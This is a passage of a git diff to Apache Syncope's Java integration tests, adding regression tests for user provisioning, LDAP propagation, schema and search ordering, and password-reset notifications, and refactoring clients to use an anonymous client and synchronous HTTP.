USER_SERVICE.read("1417acbe-cbf6-4277-9372-e75e04f97000"); @@ -1564,20 +1593,401 @@ public void issueSYNCOPE1699() throws Exception { req.setUsername(new StringReplacePatchItem.Builder().value("newUsername" + getUUIDString()).build()); WebClient webClient = WebClient.create(ADDRESS + "/users/" + userTO.getKey(), ADMIN_UNAME, ADMIN_PWD, null). - accept(MediaType.APPLICATION_JSON_TYPE). - type(MediaType.APPLICATION_JSON_TYPE); + accept(MediaType.APPLICATION_JSON_TYPE).type(MediaType.APPLICATION_JSON_TYPE); - Response response = webClient.invoke("PATCH", JSON_MAPPER.writeValueAsString(req)); + Response response = webClient.invoke(HttpMethod.PATCH, JSON_MAPPER.writeValueAsString(req)); assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); // Key is mismatched in the path parameter and the request body. req.setKey(UUID.randomUUID().toString()); - response = webClient.invoke("PATCH", JSON_MAPPER.writeValueAsString(req)); + response = webClient.invoke(HttpMethod.PATCH, JSON_MAPPER.writeValueAsString(req)); assertEquals(Response.Status.BAD_REQUEST.getStatusCode(), response.getStatus()); - + // reading user by its username still works - userTO = USER_SERVICE.read(userTO.getKey()); - userTO = USER_SERVICE.read(userTO.getUsername()); + userTO = USER_SERVICE.read(req.getUsername().getValue()); assertNotNull(userTO); } + + @Test + public void issueSYNCOPE1750() { + UserCR userCR = UserITCase.getUniqueSample("syncope1750@apache.org"); + userCR.getResources().add(RESOURCE_NAME_NOPROPAGATION); + UserTO userTO = createUser(userCR).getEntity(); + + UserUR req = new UserUR.Builder(userTO.getKey()).password(new PasswordPatch.Builder(). + onSyncope(false).resource(RESOURCE_NAME_NOPROPAGATION).value("short").build()).build(); + + try { + USER_SERVICE.update(req); + fail(); + } catch (SyncopeClientException e) { + assertEquals(ClientExceptionType.InvalidUser, e.getType()); + assertTrue(e.getMessage().contains("InvalidPassword: Password must be 10 or more characters in length.")); + } + } + + @Test + public void issueSYNCOPE1793() { + RoleTO role = new RoleTO(); + role.setKey("syncope1793" + getUUIDString()); + role.getRealms().add(SyncopeConstants.ROOT_REALM); + role.getEntitlements().add(IdRepoEntitlement.USER_UPDATE); + role = createRole(role); + + UserCR userCR = UserITCase.getUniqueSample("syncope1793@apache.org"); + userCR.getRoles().add(role.getKey()); + UserTO userTO = createUser(userCR).getEntity(); + + UserService userService = CLIENT_FACTORY.create(userTO.getUsername(), "password123"). + getService(UserService.class); + Response response = userService.associate(new ResourceAR.Builder().key(userTO.getKey()). + resource(RESOURCE_NAME_NOPROPAGATION).action(ResourceAssociationAction.ASSIGN).build()); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + } + + @Test + public void issueSYNCOPE1809() throws IOException { + // 1. add a new schema externalKey and update provision accordingly + PlainSchemaTO externalKeySchemaTO = new PlainSchemaTO(); + externalKeySchemaTO.setKey("externalKey"); + externalKeySchemaTO.setType(AttrSchemaType.String); + externalKeySchemaTO.setReadonly(true); + SCHEMA_SERVICE.create(SchemaType.PLAIN, externalKeySchemaTO); + try { + AnyTypeClassTO minimalUser = ANY_TYPE_CLASS_SERVICE.read("minimal user"); + minimalUser.getPlainSchemas().add(externalKeySchemaTO.getKey()); + ANY_TYPE_CLASS_SERVICE.update(minimalUser); + ResourceTO restResourceTO = RESOURCE_SERVICE.read(RESOURCE_NAME_REST); + restResourceTO.getProvision(AnyTypeKind.USER.name()) + .ifPresent(p -> p.setUidOnCreate(externalKeySchemaTO.getKey())); + RESOURCE_SERVICE.update(restResourceTO); + UserCR userCR = UserITCase.getUniqueSample("rest@syncope.apache.org"); + userCR.getResources().clear(); + userCR.getResources().add(RESOURCE_NAME_REST); + + // 2. create + ProvisioningResult result = createUser(userCR); + assertEquals(1, result.getPropagationStatuses().size()); + assertEquals(ExecStatus.SUCCESS, result.getPropagationStatuses().get(0).getStatus()); + assertEquals(RESOURCE_NAME_REST, result.getPropagationStatuses().get(0).getResource()); + assertEquals("surname", result.getEntity().getPlainAttr("surname").get().getValues().get(0)); + // externalKey is going to be populated on create + assertTrue(result.getEntity().getPlainAttr("externalKey").isPresent()); + assertEquals(result.getEntity().getKey(), + result.getEntity().getPlainAttr("externalKey").get().getValues().get(0)); + // 3. remove resource from the user + result = updateUser(new UserUR.Builder(result.getEntity() + .getKey()).resource(new StringPatchItem.Builder().value(RESOURCE_NAME_REST) + .operation(PatchOperation.DELETE) + .build()).build()); + assertEquals(ExecStatus.SUCCESS, result.getPropagationStatuses().get(0).getStatus()); + // externalKey is going to be removed on resource unassignment + assertFalse(result.getEntity().getPlainAttr("externalKey").isPresent()); + + // 4. create a new user and deprovision, attribute is cleared + userCR = UserITCase.getUniqueSample("rest@syncope.apache.org"); + userCR.getResources().clear(); + userCR.getResources().add(RESOURCE_NAME_REST); + result = createUser(userCR); + assertEquals(ExecStatus.SUCCESS, result.getPropagationStatuses().get(0).getStatus()); + // this time fire a deprovision + assertNotNull(parseBatchResponse(USER_SERVICE.deassociate(new ResourceDR.Builder().key(result.getEntity() + .getKey()).action(ResourceDeassociationAction.DEPROVISION).resource(RESOURCE_NAME_REST).build()))); + UserTO restUserTO = USER_SERVICE.read(result.getEntity().getKey()); + assertFalse(restUserTO.getPlainAttr("externalKey").isPresent()); + + // 5. create a new user and unlink, attribute is not cleared since provisioning hasn't been fired + userCR = UserITCase.getUniqueSample("rest@syncope.apache.org"); + userCR.getResources().clear(); + userCR.getResources().add(RESOURCE_NAME_REST); + result = createUser(userCR); + assertEquals(ExecStatus.SUCCESS, result.getPropagationStatuses().get(0).getStatus()); + // this time deprovision + assertNotNull(parseBatchResponse(USER_SERVICE.deassociate(new ResourceDR.Builder().key(result.getEntity() + .getKey()).action(ResourceDeassociationAction.UNLINK).resource(RESOURCE_NAME_REST).build()))); + restUserTO = USER_SERVICE.read(result.getEntity().getKey()); + assertTrue(restUserTO.getPlainAttr("externalKey").isPresent()); + } finally { + // remove additional externalKey schema + SCHEMA_SERVICE.delete(SchemaType.PLAIN, externalKeySchemaTO.getKey()); + } + } + + @Test + void issueSYNCOPE1818() { + UserTO rossini = USER_SERVICE.read("rossini"); + try { + // 1. provision rossini on resource-db-pull + updateUser(new UserUR.Builder(rossini.getKey()). + plainAttr(attrAddReplacePatch("email", "rossini@apache.org")). + resource(new StringPatchItem.Builder().value(RESOURCE_NAME_DBPULL).build()). + build()); + + // 2. pull users from resource-db-pull + ExecTO execution = AbstractTaskITCase.execProvisioningTask(TASK_SERVICE, + TaskType.PULL, "7c2242f4-14af-4ab5-af31-cdae23783655", MAX_WAIT_SECONDS, false); + assertEquals("SUCCESS", execution.getStatus()); + assertFalse(rossini.isSuspended()); + assertEquals("active", rossini.getStatus()); + + // 3. push rossini on LDAP + PushTaskTO pushTaskTO = new PushTaskTO(); + pushTaskTO.setSourceRealm(SyncopeConstants.ROOT_REALM); + pushTaskTO.setMatchingRule(MatchingRule.UPDATE); + pushTaskTO.setUnmatchingRule(UnmatchingRule.ASSIGN); + pushTaskTO.setPerformCreate(true); + pushTaskTO.setPerformUpdate(true); + pushTaskTO.setSyncStatus(true); + RECONCILIATION_SERVICE.push(new ReconQuery.Builder(AnyTypeKind.USER.name(), RESOURCE_NAME_LDAP).anyKey( + rossini.getKey()).build(), pushTaskTO); + + // 4. disable rossini on resource-db-pull to fire a propagation towards resource-ldap + JdbcTemplate jdbcTemplate = new JdbcTemplate(testDataSource); + jdbcTemplate.update("UPDATE TESTPULL SET EMAIL ='gioacchino.rossini@apache.org', STATUS = " + + "'false' WHERE USERNAME = 'rossini'"); + + // 5. pull again rossini from resource-db-pull + execution = AbstractTaskITCase.execProvisioningTask(TASK_SERVICE, TaskType.PULL, + "7c2242f4-14af-4ab5-af31-cdae23783655", MAX_WAIT_SECONDS, false); + assertEquals("SUCCESS", execution.getStatus()); + + rossini = USER_SERVICE.read("rossini"); + assertTrue(rossini.isSuspended()); + assertEquals("suspended", rossini.getStatus()); + assertTrue(rossini.getPlainAttr("email").get().getValues().contains("gioacchino.rossini@apache.org")); + + ReconStatus onLDAP = RECONCILIATION_SERVICE.status(new ReconQuery.Builder(AnyTypeKind.USER.name(), + RESOURCE_NAME_LDAP).anyKey(rossini.getKey()).build()); + Attr enableAttr = onLDAP.getOnResource().getAttr(OperationalAttributes.ENABLE_NAME).orElseThrow(); + assertFalse(Boolean.parseBoolean(enableAttr.getValues().get(0))); + + // 6. re-enable on resource-db-pull and restore old values to fire a propagation towards resource-ldap + jdbcTemplate.update("UPDATE TESTPULL SET EMAIL = 'rossini.gioacchino@apache.org', STATUS = " + + "'true' WHERE USERNAME = 'rossini'"); + + // 7. pull again rossini from resource-db-pull + execution = AbstractTaskITCase.execProvisioningTask( + TASK_SERVICE, TaskType.PULL, "7c2242f4-14af-4ab5-af31-cdae23783655", MAX_WAIT_SECONDS, false); + assertEquals("SUCCESS", execution.getStatus()); + + rossini = USER_SERVICE.read("rossini"); + assertFalse(rossini.isSuspended()); + assertEquals("active", rossini.getStatus()); + + if (!IS_FLOWABLE_ENABLED) { + // we can check update only if on default workflow since flowable test workflow definition does not + // support update of suspended users + assertTrue(rossini.getPlainAttr("email").get().getValues().contains("rossini.gioacchino@apache.org")); + + onLDAP = RECONCILIATION_SERVICE.status(new ReconQuery.Builder( + AnyTypeKind.USER.name(), RESOURCE_NAME_LDAP).anyKey(rossini.getKey()).build()); + enableAttr = onLDAP.getOnResource().getAttr(OperationalAttributes.ENABLE_NAME).orElseThrow(); + assertTrue(Boolean.parseBoolean(enableAttr.getValues().get(0))); + } + } finally { + // restore attributes and (if needed) status + updateUser(new UserUR.Builder(rossini.getKey()). + plainAttrs(attrAddReplacePatch("surname", "Rossini"), + new AttrPatch.Builder( + new Attr.Builder("email").build()).operation(PatchOperation.DELETE).build()). + resource(new StringPatchItem.Builder(). + value(RESOURCE_NAME_DBPULL).operation(PatchOperation.DELETE).build()). + build()); + + if (USER_SERVICE.read("rossini").isSuspended()) { + USER_SERVICE.status(new StatusR.Builder(rossini.getKey(), StatusRType.REACTIVATE).onSyncope(true) + .resources(rossini.getResources()).build()); + } + + JdbcTemplate jdbcTemplate = new JdbcTemplate(testDataSource); + jdbcTemplate.update("DELETE FROM TESTPULL WHERE USERNAME = 'rossini'"); + } + } + + @Test + void issueSYNCOPE1853() { + GroupTO cGroupForPropagation = createGroup( + new GroupCR.Builder(SyncopeConstants.ROOT_REALM, "cGroupForPropagation") + .resource(RESOURCE_NAME_LDAP).build()).getEntity(); + GroupTO dGroupForPropagation = createGroup( + new GroupCR.Builder(SyncopeConstants.ROOT_REALM, "dGroupForPropagation") + .resource(RESOURCE_NAME_LDAP).build()).getEntity(); + + // 1. assign both groups cGroupForPropagation and dGroupForPropagation with resource-csv to bellini + updateUser(new UserUR.Builder("c9b2dec2-00a7-4855-97c0-d854842b4b24").memberships( + new MembershipUR.Builder(cGroupForPropagation.getKey()).build(), + new MembershipUR.Builder(dGroupForPropagation.getKey()).build()).build()); + // 2. assign cGroupForPropagation also to vivaldi + updateUser(new UserUR.Builder("b3cbc78d-32e6-4bd4-92e0-bbe07566a2ee").membership( + new MembershipUR.Builder(dGroupForPropagation.getKey()).build()).build()); + + // 3. propagation tasks cleanup + TASK_SERVICE.search(new TaskQuery.Builder(TaskType.PROPAGATION) + .anyTypeKind(AnyTypeKind.USER).resource(RESOURCE_NAME_LDAP) + .entityKey("c9b2dec2-00a7-4855-97c0-d854842b4b24").build()).getResult() + .forEach(pt -> TASK_SERVICE.delete(TaskType.PROPAGATION, pt.getKey())); + TASK_SERVICE.search(new TaskQuery.Builder(TaskType.PROPAGATION) + .anyTypeKind(AnyTypeKind.USER).resource(RESOURCE_NAME_LDAP) + .entityKey("b3cbc78d-32e6-4bd4-92e0-bbe07566a2ee").build()).getResult() + .forEach(pt -> TASK_SERVICE.delete(TaskType.PROPAGATION, pt.getKey())); + + // 4. delete group cGroupForPropagation: no deprovision should be fired on bellini, since there is already + // bGroupForPropagation, deprovision instead must be fired for vivaldi + GROUP_SERVICE.delete(cGroupForPropagation.getKey()); + await().during(5, TimeUnit.SECONDS).atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).until( + () -> TASK_SERVICE.search(new TaskQuery.Builder(TaskType.PROPAGATION) + .anyTypeKind(AnyTypeKind.USER).resource(RESOURCE_NAME_LDAP) + .entityKey("c9b2dec2-00a7-4855-97c0-d854842b4b24").build()) + .getResult().stream().map(PropagationTaskTO.class::cast) + .collect(Collectors.toList()).stream().noneMatch(pt -> ResourceOperation.DELETE == pt. + getOperation())); + GROUP_SERVICE.delete(dGroupForPropagation.getKey()); + await().atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).until( + () -> TASK_SERVICE.search(new TaskQuery.Builder(TaskType.PROPAGATION) + .anyTypeKind(AnyTypeKind.USER).resource(RESOURCE_NAME_LDAP) + .entityKey("b3cbc78d-32e6-4bd4-92e0-bbe07566a2ee").build()) + .getResult().stream().map(PropagationTaskTO.class::cast) + .collect(Collectors.toList()).stream().anyMatch(pt -> ResourceOperation.DELETE == pt. + getOperation())); + } + + @Test + public void issueSYNCOPE1894() { + SchemaTO userWithDotSchema = new PlainSchemaTO(); + userWithDotSchema.setKey("user.testWithDot"); + userWithDotSchema.setAnyTypeClass("minimal user"); + SCHEMA_SERVICE.create(SchemaType.PLAIN, userWithDotSchema); + + ResourceTO ldap = RESOURCE_SERVICE.read(RESOURCE_NAME_LDAP); + ldap.setKey("ldapWithDot"); + + Provision provision = ldap.getProvision(AnyTypeKind.USER.name()).orElseThrow(); + provision.getMapping().getItems().removeIf(item -> "mail".equals(item.getIntAttrName())); + provision.getVirSchemas().clear(); + + ldap.getProvisions().clear(); + ldap.getProvisions().add(provision); + + Item item = new Item(); + item.setIntAttrName(userWithDotSchema.getKey()); + item.setExtAttrName("carLicense"); + item.setPurpose(MappingPurpose.PROPAGATION); + + provision.getMapping().add(item); + + ldap = createResource(ldap); + + try { + UserCR userCR = UserITCase.getUniqueSample("userwithdot@syncope.apache.org"); + userCR.getPlainAttrs().add(attr("user.testWithDot", "someCarLicenseValue")); + userCR.getResources().add(ldap.getKey()); + + ProvisioningResult result = createUser(userCR); + assertEquals(1, result.getPropagationStatuses().size()); + assertNotNull(result.getPropagationStatuses().get(0).getAfterObj()); + + Attr carLicense = + result.getPropagationStatuses().get(0).getAfterObj().getAttr("carLicense").orElseThrow(); + assertEquals(1, carLicense.getValues().size()); + assertEquals("someCarLicenseValue", carLicense.getValues().get(0)); + } finally { + RESOURCE_SERVICE.delete(ldap.getKey()); + SCHEMA_SERVICE.delete(SchemaType.PLAIN, userWithDotSchema.getKey()); + } + } + + @Test + public void issueSYNCOPE1906() { + UserCR userCR = UserITCase.getUniqueSample("issuesyncope1906@syncope.apache.org"); + userCR.getPlainAttrs() + .removeIf(attr -> "ctype".equals(attr.getSchema()) || "fullname".equals(attr.getSchema())); + userCR.getPlainAttrs().add(attr("ctype", "aa1")); + userCR.getPlainAttrs().add(attr("fullname", "aa1")); + UserTO aa1 = createUser(userCR).getEntity(); + + userCR = UserITCase.getUniqueSample("issuesyncope1906@syncope.apache.org"); + userCR.getPlainAttrs() + .removeIf(attr -> "ctype".equals(attr.getSchema()) || "fullname".equals(attr.getSchema())); + userCR.getPlainAttrs().add(attr("ctype", "aa2")); + userCR.getPlainAttrs().add(attr("fullname", "aa2")); + UserTO aa2 = createUser(userCR).getEntity(); + + userCR = UserITCase.getUniqueSample("issuesyncope1906@syncope.apache.org"); + userCR.getPlainAttrs() + .removeIf(attr -> "ctype".equals(attr.getSchema()) || "fullname".equals(attr.getSchema())); + userCR.getPlainAttrs().add(attr("ctype", "aa3")); + userCR.getPlainAttrs().add(attr("fullname", "aa3")); + UserTO aa3 = createUser(userCR).getEntity(); + + userCR = UserITCase.getUniqueSample("issuesyncope1906@syncope.apache.org"); + userCR.getPlainAttrs() + .removeIf(attr -> "ctype".equals(attr.getSchema()) || "fullname".equals(attr.getSchema())); + userCR.getPlainAttrs().add(attr("ctype", "aa4")); + userCR.getPlainAttrs().add(attr("fullname", "aa4")); + UserTO aa4 = createUser(userCR).getEntity(); + + userCR = UserITCase.getUniqueSample("issuesyncope1906@syncope.apache.org"); + userCR.getPlainAttrs() + .removeIf(attr -> "ctype".equals(attr.getSchema()) || "fullname".equals(attr.getSchema())); + userCR.getPlainAttrs().add(attr("ctype", "aa5")); + userCR.getPlainAttrs().add(attr("fullname", "aa5")); + UserTO aa5 = createUser(userCR).getEntity(); + + // add also other users with valued ctype + userCR = UserITCase.getUniqueSample("actype@syncope.apache.org"); + userCR.getPlainAttrs() + .removeIf(attr -> "ctype".equals(attr.getSchema()) || "fullname".equals(attr.getSchema())); + userCR.getPlainAttrs().add(attr("ctype", "a ctype")); + userCR.getPlainAttrs().add(attr("fullname", "a fullname")); + createUser(userCR); + + userCR = UserITCase.getUniqueSample("actypetwo@syncope.apache.org"); + userCR.getPlainAttrs() + .removeIf(attr -> "ctype".equals(attr.getSchema()) || "fullname".equals(attr.getSchema())); + userCR.getPlainAttrs().add(attr("ctype", "a ctype 2")); + userCR.getPlainAttrs().add(attr("fullname", "a fullname 2")); + createUser(userCR); + try { + await().until(() -> USER_SERVICE.search(new AnyQuery.Builder().fiql( + SyncopeClient.getUserSearchConditionBuilder().is("email").equalTo("*issuesyncope1906*") + .query()).size(0).page(1).build()).getTotalCount() == 5); + List users = USER_SERVICE.search(new AnyQuery.Builder().fiql( + SyncopeClient.getUserSearchConditionBuilder().is("email").equalTo("*issuesyncope1906*") + .query()).size(10).page(1).orderBy("ctype DESC").build()).getResult(); + + assertEquals(5, users.size()); + + assertEquals(aa1.getUsername(), users.get(4).getUsername()); + assertEquals(aa2.getUsername(), users.get(3).getUsername()); + assertEquals(aa3.getUsername(), users.get(2).getUsername()); + assertEquals(aa4.getUsername(), users.get(1).getUsername()); + assertEquals(aa5.getUsername(), users.get(0).getUsername()); + + users = USER_SERVICE.search(new AnyQuery.Builder().fiql( + SyncopeClient.getUserSearchConditionBuilder().is("email").equalTo("*issuesyncope1906*") + .query()).size(10).page(1).orderBy("ctype ASC").build()).getResult(); + + assertEquals(aa5.getUsername(), users.get(4).getUsername()); + assertEquals(aa4.getUsername(), users.get(3).getUsername()); + assertEquals(aa3.getUsername(), users.get(2).getUsername()); + assertEquals(aa2.getUsername(), users.get(1).getUsername()); + assertEquals(aa1.getUsername(), users.get(0).getUsername()); + + // order by unique attribute + users = USER_SERVICE.search(new AnyQuery.Builder().fiql( + SyncopeClient.getUserSearchConditionBuilder().is("email").equalTo("*issuesyncope1906*") + .query()).size(10).page(1).orderBy("fullname ASC").build()).getResult(); + + assertEquals(aa5.getUsername(), users.get(4).getUsername()); + assertEquals(aa4.getUsername(), users.get(3).getUsername()); + assertEquals(aa3.getUsername(), users.get(2).getUsername()); + assertEquals(aa2.getUsername(), users.get(1).getUsername()); + assertEquals(aa1.getUsername(), users.get(0).getUsername()); + + } finally { + USER_SERVICE.search(new AnyQuery.Builder().fiql( + SyncopeClient.getUserSearchConditionBuilder().is("ctype").equalTo("aa*").query()) + .size(10).page(1).orderBy("ctype DESC").build()).getResult().forEach(u -> deleteUser(u.getKey())); + } + } } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserRequestITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserRequestITCase.java index 5b3b7cfc841..b3491bbce4d 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserRequestITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserRequestITCase.java @@ -32,6 +32,7 @@ import javax.ws.rs.core.MediaType; import org.apache.cxf.helpers.IOUtils; import org.apache.cxf.jaxrs.client.WebClient; +import org.apache.cxf.transport.http.asyncclient.AsyncHTTPConduit; import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.client.lib.SyncopeClientFactoryBean; import org.apache.syncope.common.lib.SyncopeClientException; @@ -46,6 +47,7 @@ import org.apache.syncope.common.rest.api.beans.UserRequestQuery; import org.apache.syncope.common.rest.api.service.UserRequestService; import org.apache.syncope.fit.AbstractITCase; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; @@ -64,6 +66,15 @@ public static void loadBpmnProcesses() throws IOException { IOUtils.toString(UserRequestITCase.class.getResourceAsStream("/assignPrinterRequest.bpmn20.xml"))); BPMN_PROCESS_SERVICE.set("verifyAddedVariables", IOUtils.toString(UserRequestITCase.class.getResourceAsStream("/verifyAddedVariables.bpmn20.xml"))); + + WebClient.getConfig(WebClient.client(USER_REQUEST_SERVICE)). + getRequestContext().put(AsyncHTTPConduit.USE_ASYNC, Boolean.FALSE); + } + + @AfterAll + public static void reset() { + WebClient.getConfig(WebClient.client(USER_REQUEST_SERVICE)). + getRequestContext().put(AsyncHTTPConduit.USE_ASYNC, Boolean.TRUE); } @BeforeEach @@ -198,21 +209,27 @@ public void userSelection() { SyncopeClient client = CLIENT_FACTORY.create(user.getUsername(), "password123"); // start request as user - UserRequest req = client.getService(UserRequestService.class).startRequest("assignPrinterRequest", null, null); + UserRequestService service = client.getService(UserRequestService.class); + WebClient.getConfig(WebClient.client(service)). + getRequestContext().put(AsyncHTTPConduit.USE_ASYNC, Boolean.FALSE); + + UserRequest req = service.startRequest("assignPrinterRequest", null, null); assertNotNull(req); + WebClient.getConfig(WebClient.client(service)). + getRequestContext().put(AsyncHTTPConduit.USE_ASYNC, Boolean.TRUE); // check (as admin) that a new form is available forms = USER_REQUEST_SERVICE.listForms(new UserRequestQuery.Builder().build()); assertEquals(preForms + 1, forms.getTotalCount()); // get (as user) the form, claim and submit - PagedResult userForms = client.getService(UserRequestService.class). - listForms(new UserRequestQuery.Builder().user(user.getKey()).build()); + PagedResult userForms = service.listForms( + new UserRequestQuery.Builder().user(user.getKey()).build()); assertEquals(1, userForms.getTotalCount()); UserRequestForm form = userForms.getResult().get(0); assertEquals("assignPrinterRequest", form.getBpmnProcess()); - form = client.getService(UserRequestService.class).claimForm(form.getTaskId()); + form = service.claimForm(form.getTaskId()); assertFalse(form.getProperty("printer").get().getDropdownValues().isEmpty()); form.getProperty("printer").ifPresent(printer -> printer.setValue("8559d14d-58c2-46eb-a2d4-a7d35161e8f8")); @@ -220,15 +237,14 @@ public void userSelection() { assertFalse(form.getProperty("printMode").get().getEnumValues().isEmpty()); form.getProperty("printMode").ifPresent(printMode -> printMode.setValue("color")); - client.getService(UserRequestService.class).submitForm(form); + service.submitForm(form); - userForms = client.getService(UserRequestService.class).listForms( - new UserRequestQuery.Builder().user(user.getKey()).build()); + userForms = service.listForms(new UserRequestQuery.Builder().user(user.getKey()).build()); assertEquals(0, userForms.getTotalCount()); // check that user can see the ongoing request - PagedResult requests = client.getService(UserRequestService.class). - listRequests(new UserRequestQuery.Builder().user(user.getKey()).build()); + PagedResult requests = service.listRequests( + new UserRequestQuery.Builder().user(user.getKey()).build()); assertEquals(1, requests.getTotalCount()); assertEquals("assignPrinterRequest", requests.getResult().get(0).getBpmnProcess()); @@ -247,8 +263,8 @@ public void userSelection() { forms = USER_REQUEST_SERVICE.listForms(new UserRequestQuery.Builder().build()); assertEquals(preForms, forms.getTotalCount()); - assertTrue(client.getService(UserRequestService.class). - listRequests(new UserRequestQuery.Builder().user(user.getKey()).build()).getResult().isEmpty()); + assertTrue(service.listRequests( + new UserRequestQuery.Builder().user(user.getKey()).build()).getResult().isEmpty()); // check that relationship was made effective by approval relationships = USER_SERVICE.read(user.getKey()).getRelationships(); @@ -259,8 +275,7 @@ public void userSelection() { @Test public void addVariablesToUserRequestAtStart() { - PagedResult forms = - USER_REQUEST_SERVICE.listForms(new UserRequestQuery.Builder().build()); + PagedResult forms = USER_REQUEST_SERVICE.listForms(new UserRequestQuery.Builder().build()); int preForms = forms.getTotalCount(); UserTO user = createUser(UserITCase.getUniqueSample("addVariables@tirasa.net")).getEntity(); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserSelfITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserSelfITCase.java index c4596e7dad5..7175862de63 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserSelfITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/UserSelfITCase.java @@ -49,6 +49,7 @@ import org.apache.syncope.common.lib.request.UserCR; import org.apache.syncope.common.lib.request.UserUR; import org.apache.syncope.common.lib.to.MembershipTO; +import org.apache.syncope.common.lib.to.NotificationTaskTO; import org.apache.syncope.common.lib.to.PagedResult; import org.apache.syncope.common.lib.to.ProvisioningResult; import org.apache.syncope.common.lib.to.UserRequestForm; @@ -57,6 +58,9 @@ import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.PatchOperation; +import org.apache.syncope.common.lib.types.TaskType; +import org.apache.syncope.common.rest.api.beans.ExecSpecs; +import org.apache.syncope.common.rest.api.beans.TaskQuery; import org.apache.syncope.common.rest.api.beans.UserRequestQuery; import org.apache.syncope.common.rest.api.service.AccessTokenService; import org.apache.syncope.common.rest.api.service.UserRequestService; @@ -69,9 +73,25 @@ public class UserSelfITCase extends AbstractITCase { + private static void checkNotification( + final String email, + final String notification, + final String subject) throws Exception { + + await().atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { + PagedResult tasks = TASK_SERVICE.search(new TaskQuery.Builder(TaskType.NOTIFICATION). + notification(notification).build()); + return tasks.getResult().stream().filter(t -> t.getRecipients().contains(email) && !t.isExecuted()). + findFirst().map(t -> TASK_SERVICE.execute( + new ExecSpecs.Builder().key(t.getKey()).build()).getStatus() != null). + orElse(false); + }); + verifyMail("admin@syncope.apache.org", subject, email, MAX_WAIT_SECONDS); + } + @Test public void selfRegistrationAllowed() { - assertTrue(ADMIN_CLIENT.platform().isSelfRegAllowed()); + assertTrue(ANONYMOUS_CLIENT.platform().isSelfRegAllowed()); } @Test @@ -87,8 +107,7 @@ public void create() { } // 2. self-registration as anonymous: works - SyncopeClient anonClient = CLIENT_FACTORY.create(); - UserTO self = anonClient.getService(UserSelfService.class). + UserTO self = ANONYMOUS_CLIENT.getService(UserSelfService.class). create(UserITCase.getUniqueSample("anonymous@syncope.apache.org")). readEntity(new GenericType>() { }).getEntity(); @@ -106,8 +125,7 @@ public void createAndApprove() { new MembershipTO.Builder("29f96485-729e-4d31-88a1-6fc60e4677f3").build()); userCR.getResources().add(RESOURCE_NAME_TESTDB); - SyncopeClient anonClient = CLIENT_FACTORY.create(); - UserTO userTO = anonClient.getService(UserSelfService.class). + UserTO userTO = ANONYMOUS_CLIENT.getService(UserSelfService.class). create(userCR). readEntity(new GenericType>() { }).getEntity(); @@ -144,8 +162,7 @@ public void createAndUnclaim() { userCR.getMemberships().add( new MembershipTO.Builder("29f96485-729e-4d31-88a1-6fc60e4677f3").build()); userCR.getResources().add(RESOURCE_NAME_TESTDB); - SyncopeClient anonClient = CLIENT_FACTORY.create(); - UserTO userTO = anonClient.getService(UserSelfService.class). + UserTO userTO = ANONYMOUS_CLIENT.getService(UserSelfService.class). create(userCR). readEntity(new GenericType>() { }).getEntity(); @@ -306,7 +323,7 @@ public void delete() { } @Test - public void passwordReset() { + public void passwordReset() throws Exception { // 0. ensure that password request DOES require security question confParamOps.set(SyncopeConstants.MASTER_DOMAIN, "passwordReset.securityQuestion", true); @@ -329,16 +346,15 @@ public void passwordReset() { assertNotNull(read); // 3. request password reset (as anonymous) providing the expected security answer - SyncopeClient anonClient = CLIENT_FACTORY.create(); try { - anonClient.getService(UserSelfService.class).requestPasswordReset(user.getUsername(), "WRONG"); + ANONYMOUS_CLIENT.getService(UserSelfService.class).requestPasswordReset(user.getUsername(), "WRONG"); fail("This should not happen"); } catch (SyncopeClientException e) { assertEquals(ClientExceptionType.InvalidSecurityAnswer, e.getType()); } - anonClient.getService(UserSelfService.class).requestPasswordReset(user.getUsername(), "Rossi"); + ANONYMOUS_CLIENT.getService(UserSelfService.class).requestPasswordReset(user.getUsername(), "Rossi"); - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -347,19 +363,24 @@ public void passwordReset() { } // 4. get token (normally sent via e-mail, now reading as admin) + String email = user.getPlainAttr("email").orElseThrow().getValues().get(0); + checkNotification(email, "e00945b5-1184-4d43-8e45-4318a8dcdfd4", "Password Reset request"); + String token = await().atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until( () -> USER_SERVICE.read(read.getKey()).getToken(), StringUtils::isNotBlank); // 5. confirm password reset try { - anonClient.getService(UserSelfService.class).confirmPasswordReset("WRONG TOKEN", "newPassword"); + ANONYMOUS_CLIENT.getService(UserSelfService.class).confirmPasswordReset("WRONG TOKEN", "newPassword"); fail("This should not happen"); } catch (SyncopeClientException e) { assertEquals(ClientExceptionType.NotFound, e.getType()); assertTrue(e.getMessage().contains("WRONG TOKEN")); } - anonClient.getService(UserSelfService.class).confirmPasswordReset(token, "newPassword123"); + ANONYMOUS_CLIENT.getService(UserSelfService.class).confirmPasswordReset(token, "newPassword123"); + + checkNotification(email, "bef0c250-e8a7-4848-bb63-2564fc409ce2", "Password Reset successful"); // 6. verify that password was reset and token removed authClient = CLIENT_FACTORY.create(user.getUsername(), "newPassword123"); @@ -387,8 +408,7 @@ public void passwordResetWithoutSecurityQuestion() { assertNotNull(read); // 3. request password reset (as anonymous) with no security answer - SyncopeClient anonClient = CLIENT_FACTORY.create(); - anonClient.getService(UserSelfService.class).requestPasswordReset(user.getUsername(), null); + 